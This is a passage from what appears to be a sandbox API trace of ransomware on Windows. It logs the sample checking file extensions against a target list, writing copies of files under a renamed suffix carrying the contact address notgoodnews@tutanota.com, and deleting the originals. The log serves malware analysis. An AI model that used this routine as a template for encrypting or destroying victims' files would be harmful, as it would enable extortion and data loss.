lpString2="l.mui") returned -1 [0087.749] lstrlenW (lpString=".pdf") returned 4 [0087.749] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.749] lstrlenW (lpString=".xls") returned 4 [0087.749] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.750] lstrlenW (lpString=".xlsx") returned 5 [0087.750] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.750] lstrlenW (lpString=".ppt") returned 4 [0087.750] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0087.750] lstrlenW (lpString=".zip") returned 4 [0087.750] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.750] lstrlenW (lpString=".rar") returned 4 [0087.750] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.750] lstrlenW (lpString=".bz2") returned 4 [0087.750] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.750] lstrlenW (lpString=".7z") returned 3 [0087.750] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0087.750] lstrlenW (lpString=".dbf") returned 4 [0087.750] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0087.750] lstrlenW (lpString=".1cd") returned 4 [0087.750] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0087.750] lstrlenW (lpString=".jpg") returned 4 [0087.750] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0087.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0087.750] lstrlenW (lpString=".doc") returned 4 [0087.750] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.750] lstrlenW (lpString=".docx") returned 5 [0087.750] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.750] lstrlenW (lpString=".pdf") returned 4 [0087.750] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.750] lstrlenW (lpString=".xls") returned 4 [0087.750] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.750] lstrlenW (lpString=".xlsx") returned 5 [0087.750] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.750] lstrlenW (lpString=".ppt") returned 4 [0087.750] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0087.751] lstrlenW (lpString=".zip") returned 4 [0087.751] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.751] lstrlenW (lpString=".rar") returned 4 [0087.751] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.751] lstrlenW (lpString=".bz2") returned 4 [0087.751] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.751] lstrlenW (lpString=".7z") returned 3 [0087.751] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0087.751] lstrlenW (lpString=".dbf") returned 4 [0087.751] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0087.751] lstrlenW (lpString=".1cd") returned 4 [0087.751] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0087.751] lstrlenW (lpString=".jpg") returned 4 [0087.751] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.751] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0087.751] lstrlenW (lpString="FlickLearningWizard.exe.mui") returned 27 [0087.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0087.752] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=8704) returned 1 [0087.752] CloseHandle (hObject=0x2f4) returned 1 [0087.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0087.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.752] lstrlenW (lpString=".doc") returned 4 [0087.752] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.752] lstrlenW (lpString=".docx") returned 5 [0087.752] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0087.752] lstrlenW (lpString=".pdf") returned 4 [0087.753] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.753] lstrlenW (lpString=".xls") returned 4 [0087.753] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.753] lstrlenW (lpString=".xlsx") returned 5 [0087.753] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0087.753] lstrlenW (lpString=".ppt") returned 4 [0087.753] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.753] lstrlenW (lpString=".zip") returned 4 [0087.753] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.753] lstrlenW (lpString=".rar") returned 4 [0087.753] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.753] lstrlenW (lpString=".bz2") returned 4 [0087.753] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.753] lstrlenW (lpString=".7z") returned 3 [0087.753] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.753] lstrlenW (lpString=".dbf") returned 4 [0087.753] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.753] lstrlenW (lpString=".1cd") returned 4 [0087.753] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.753] lstrlenW (lpString=".jpg") returned 4 [0087.753] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.753] lstrlenW (lpString=".doc") returned 4 [0087.753] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.753] lstrlenW (lpString=".docx") returned 5 [0087.753] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0087.753] lstrlenW (lpString=".pdf") returned 4 [0087.753] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.753] lstrlenW (lpString=".xls") returned 4 [0087.753] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.754] lstrlenW (lpString=".xlsx") returned 5 [0087.754] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0087.754] lstrlenW (lpString=".ppt") returned 4 [0087.754] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.754] lstrlenW (lpString=".zip") returned 4 [0087.754] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.754] lstrlenW (lpString=".rar") returned 4 [0087.754] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.754] lstrlenW (lpString=".bz2") returned 4 [0087.754] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.754] lstrlenW (lpString=".7z") returned 3 [0087.754] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.754] lstrlenW (lpString=".dbf") returned 4 [0087.754] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.754] lstrlenW (lpString=".1cd") returned 4 [0087.754] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.754] lstrlenW (lpString=".jpg") returned 4 [0087.754] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.754] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0087.754] lstrlenW (lpString="InkObj.dll.mui") returned 14 [0087.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0087.755] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=5120) returned 1 [0087.755] CloseHandle (hObject=0x2f4) returned 1 [0087.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0087.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.756] lstrlenW (lpString=".doc") returned 4 [0087.756] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.756] lstrlenW (lpString=".docx") returned 5 [0087.756] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.756] lstrlenW (lpString=".pdf") returned 4 [0087.756] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.756] lstrlenW (lpString=".xls") returned 4 [0087.756] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.756] lstrlenW (lpString=".xlsx") returned 5 [0087.756] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.756] lstrlenW (lpString=".ppt") returned 4 [0087.756] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.756] lstrlenW (lpString=".zip") returned 4 [0087.756] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.756] lstrlenW (lpString=".rar") returned 4 [0087.756] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.756] lstrlenW (lpString=".bz2") returned 4 [0087.756] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.756] lstrlenW (lpString=".7z") returned 3 [0087.756] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.756] lstrlenW (lpString=".dbf") returned 4 [0087.756] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.756] lstrlenW (lpString=".1cd") returned 4 [0087.756] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.756] lstrlenW (lpString=".jpg") returned 4 [0087.756] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.757] lstrlenW (lpString=".doc") returned 4 [0087.757] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.757] lstrlenW (lpString=".docx") returned 5 [0087.757] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.757] lstrlenW (lpString=".pdf") returned 4 [0087.757] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.757] lstrlenW (lpString=".xls") returned 4 [0087.757] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.757] lstrlenW (lpString=".xlsx") returned 5 [0087.757] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.757] lstrlenW (lpString=".ppt") returned 4 [0087.757] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.757] lstrlenW (lpString=".zip") returned 4 [0087.757] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.757] lstrlenW (lpString=".rar") returned 4 [0087.757] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.757] lstrlenW (lpString=".bz2") returned 4 [0087.757] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.757] lstrlenW (lpString=".7z") returned 3 [0087.757] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.757] lstrlenW (lpString=".dbf") returned 4 [0087.757] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.757] lstrlenW (lpString=".1cd") returned 4 [0087.757] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0087.757] lstrlenW (lpString=".jpg") returned 4 [0087.757] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.758] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0087.758] lstrlenW (lpString="InputPersonalization.exe.mui") returned 28 [0087.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0087.758] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=3072) returned 1 [0087.758] CloseHandle (hObject=0x2f4) returned 1 [0087.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0087.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0087.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0087.758] lstrlenW (lpString=".doc") returned 4 [0087.758] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.758] lstrlenW (lpString=".docx") returned 5 [0087.758] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0087.758] lstrlenW (lpString=".pdf") returned 4 [0087.758] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.759] lstrlenW (lpString=".xls") returned 4 [0087.759] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.759] lstrlenW (lpString=".xlsx") returned 5 [0087.759] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0087.759] lstrlenW (lpString=".ppt") returned 4 [0087.759] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0087.759] lstrlenW (lpString=".zip") returned 4 [0087.759] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.759] lstrlenW (lpString=".rar") returned 4 [0087.759] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.759] lstrlenW (lpString=".bz2") returned 4 [0087.759] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.759] lstrlenW (lpString=".7z") returned 3 [0087.759] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0087.759] lstrlenW (lpString=".dbf") returned 4 [0087.759] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.783] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0087.788] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0087.789] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0087.832] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.832] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0087.833] GetLastError () returned 0x0 [0087.833] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x58cd0, lpOverlapped=0x0) returned 1 [0087.840] WriteFile (in: hFile=0x374, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x58ce0, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x58ce0, lpOverlapped=0x0) returned 1 [0087.849] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0087.849] WriteFile (in: hFile=0x374, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xe8, lpOverlapped=0x0) returned 1 [0087.850] SetEndOfFile (hFile=0x374) returned 1 [0087.850] CloseHandle (hObject=0x374) returned 1 [0087.850] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.850] SetEndOfFile (hFile=0x2f4) returned 1 [0087.853] CloseHandle (hObject=0x2f4) returned 1 [0087.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0087.854] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 1 [0087.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0087.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0087.854] lstrlenW (lpString=".doc") returned 4 [0087.854] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0087.854] lstrlenW (lpString=".docx") returned 5 [0087.854] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0087.854] lstrlenW (lpString=".pdf") returned 4 [0087.854] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0087.854] lstrlenW (lpString=".xls") returned 4 [0087.854] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0087.854] lstrlenW (lpString=".xlsx") returned 5 [0087.854] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0087.854] lstrlenW (lpString=".ppt") returned 4 [0087.854] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0087.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0087.855] lstrlenW (lpString=".zip") returned 4 [0087.855] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0087.855] lstrlenW (lpString=".rar") returned 4 [0087.855] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0087.855] lstrlenW (lpString=".bz2") returned 4 [0087.855] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0087.855] lstrlenW (lpString=".7z") returned 3 [0087.855] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0087.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0087.855] lstrlenW (lpString=".dbf") returned 4 [0087.855] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0087.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0087.855] lstrlenW (lpString=".1cd") returned 4 [0087.855] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0087.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0087.855] lstrlenW (lpString=".jpg") returned 4 [0087.855] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0087.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0087.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0087.855] lstrlenW (lpString=".doc") returned 4 [0087.855] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0087.855] lstrlenW (lpString=".docx") returned 5 [0087.855] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0087.855] lstrlenW (lpString=".pdf") returned 4 [0087.855] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0087.855] lstrlenW (lpString=".xls") returned 4 [0087.855] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0087.855] lstrlenW (lpString=".xlsx") returned 5 [0087.855] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0087.855] lstrlenW (lpString=".ppt") returned 4 [0087.855] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0087.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0087.855] 